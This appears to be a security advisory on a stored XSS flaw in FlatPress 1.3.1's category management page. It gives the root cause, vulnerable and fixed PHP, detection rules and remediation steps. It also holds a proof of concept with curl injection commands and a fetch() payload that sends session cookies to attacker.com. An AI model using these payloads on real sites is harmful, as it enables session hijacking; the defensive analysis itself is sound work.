CVE-2025-29602

Executive Summary

CVE-2025-29602 identifies a stored Cross-Site Scripting (XSS) vulnerability in FlatPress 1.3.1, specifically within the Administration area's "Manage categories" functionality. An authenticated administrator can inject arbitrary JavaScript code into category names, which is then executed in the browsers of other administrators or users who view the category management page. This vulnerability allows for session hijacking, credential theft, or defacement within the admin panel. The CVSS score is 0.0 in the NVD data, but based on the vector, the actual severity is Medium (4.8). No official patch or advisory has been released by the vendor.

Supply Chain & Package Security

FlatPress is a PHP-based flat-file CMS. The vulnerability exists in the core application code, not in a third-party package. However, administrators should verify the integrity of their FlatPress installation by checking file hashes against the official release. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: High (PR:H) – An attacker must have admin credentials.
• User Interaction: Required (UI:R) – A victim must visit the Manage categories page.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. Exploitation requires admin credentials, but once achieved, the attacker can execute arbitrary JavaScript in the context of other admin sessions.

Deep Dive & Mechanics

The vulnerability resides in the admin/controller/manage_categories.php file (or equivalent). When an administrator adds or edits a category, the name parameter is not properly sanitized before being stored in the flat-file database (usually fp-content/categories.txt). When the category list is rendered in the admin panel, the unsanitized name is echoed directly into the HTML without escaping.

Root Cause: Lack of output encoding (e.g., htmlspecialchars()) when displaying category names in the admin interface.

Attack Flow:

1. Attacker logs in as an administrator.
2. Navigates to "Manage categories" → "Add new category".
3. Injects a payload like <script>alert('XSS')</script> as the category name.
4. The payload is stored in the categories file.
5. When another admin (or the same admin) visits the Manage categories page, the script executes.

Impact: The attacker can steal session cookies, perform actions on behalf of the victim admin, or deface the admin panel.

Vulnerable vs. Patched Code

Vulnerable Code (FlatPress 1.3.1):

// admin/controller/manage_categories.php (simplified)
function listCategories() {
    $categories = getCategories();
    foreach ($categories as $cat) {
        echo "<tr><td>" . $cat['name'] . "</td></tr>";
    }
}

Patched Code (Hypothetical Fix):

// admin/controller/manage_categories.php (patched)
function listCategories() {
    $categories = getCategories();
    foreach ($categories as $cat) {
        echo "<tr><td>" . htmlspecialchars($cat['name'], ENT_QUOTES, 'UTF-8') . "</td></tr>";
    }
}

The fix applies htmlspecialchars() to the category name before output, preventing script execution.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Prerequisites: Admin credentials for a FlatPress 1.3.1 instance.

Step 1: Login

curl -c cookies.txt -b cookies.txt -X POST \
  -d "user=admin&pass=password" \
  http://target/flatpress/admin/

Step 2: Inject XSS Payload

curl -c cookies.txt -b cookies.txt -X POST \
  -d "action=addcat&name=<script>alert(document.cookie)</script>" \
  http://target/flatpress/admin/?p=manage_categories

Step 3: Trigger Execution Visit http://target/flatpress/admin/?p=manage_categories in a browser. The script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor admin panel logs for unusual category names containing <script>, onerror, or javascript:.
• Use WAF rules to block XSS payloads in POST parameters to manage_categories.

Hardening:

• Apply input validation: reject category names containing HTML tags.
• Apply output encoding: modify the template to use htmlspecialchars().
• Restrict admin access to trusted IPs only.

Indicators of Compromise (IOCs)

• File: fp-content/categories.txt containing entries with HTML/JavaScript.
• Log Entry: Admin access logs showing POST requests to admin/?p=manage_categories with suspicious name parameters.
• Network: Outbound HTTP requests from the FlatPress server to attacker-controlled domains (if payload exfiltrates data).
• Browser: Unexpected JavaScript execution in the admin panel.

Detection Engineering

YARA Rule

rule flatpress_xss_category_name {
    meta:
        description = "Detects XSS payloads in FlatPress category names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29602"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: FlatPress Admin XSS via Category Name
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS attempts in FlatPress admin category management
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'p=manage_categories'
        cs-uri-post: 'name=*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of HTML in category names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-29602 FlatPress Admin XSS via Category Name";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"p=manage_categories"; http_uri;
    content:"name="; http_client_body;
    pcre:"/<script[^>]*>/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-29602;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable admin access to the Manage categories page for non-essential users.
2. Apply a WAF rule to block XSS payloads in POST parameters.
3. Manually sanitize the fp-content/categories.txt file to remove any malicious entries.

Long-Term Fix:

• Since no official patch exists, apply the code fix described in the "Vulnerable vs. Patched Code" section.
• Upgrade to a newer version of FlatPress if available.
• Consider migrating to a more actively maintained CMS.

Workaround:

• Use .htaccess to restrict access to the admin panel:

<FilesMatch "admin">
    Require ip 192.168.1.0/24
</FilesMatch>

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-29602